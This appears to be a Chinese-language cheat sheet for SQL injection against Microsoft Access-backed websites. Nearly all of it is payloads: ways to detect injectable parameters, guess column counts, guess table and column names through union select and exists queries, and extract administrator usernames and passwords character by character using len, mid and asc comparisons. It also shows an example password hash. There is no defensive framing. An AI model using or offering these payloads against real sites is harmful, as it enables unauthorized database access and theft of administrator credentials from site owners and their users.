Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
access数据库结构
access数据库是这么个结构: 表名---->列名---->内容数据 他不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、而access的话只有一个库若干张表。
#判断注入 and 1=1 and 1=2 #猜列数 order by 3 #猜表名(报错说明表名不存在,将admin换成别的继续猜) union select 1,2,3 from admin #猜列名(列名位置放置页面上显示的数字位置上)(报错说明列名不存在,换列名继续猜)(列名猜对后输出账号密码) union select 1,2,username from admin
#判断注入 and 1=1 and 1=2 #猜表名 and exists (select * from admin) #猜列名 and exists (select user_name from admin) #查数据: 1.确定长度 and (select top 1 len(user_name ) from admin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断) 2.确定asc数据(asc编码) and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值) and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判断第二位 (user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位n pass_word=a48e190fafc257d3)
判断有无注入
猜解表名
猜解字段
猜解管理员ID值
猜解用户名和密码长度
猜解用户名和密码
粗略型:提交单引号' 参数值-1 逻辑型(数字型注入):and 1=1 / and 1=2 逻辑型(字符型注入):' and '1'='1 / ' and '1'='2 逻辑型(搜索型注入):%' and 1=1 and '%'='% / %' and 1=2 and '%'='%
#用exists判断select * from admin的结果是否为真 and exists (select * from 表名) #(<>:不等于), count是统计的函数,统计表中的所有字段。列数不等于0说明存在表 and 0<>(select count(*) from 表名)
#若页面返回正常,就说明admin 表里存在id这个字段 and exists (select id from admin)
#若页面返回正常,就说明存在id=1的帐号 and exists (select id from admin where id=1)
#猜出存在id=1的帐号,下面语句页面返回正常,就说明UserName字段长度小于6 and exists (select id from admin where len (UserName) >6 and id=1) #top表示把最前面的一条记录提取出来; and (select top 1 len(UserName) from admin)=8
and (select top 1 asc(mid(列名,1,1)) from 表名)>0 and (select top 1 asc(mid(UserName,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值) and (select top 1 asc(mid(UserName,2,1)) from admin)=97 判断第二位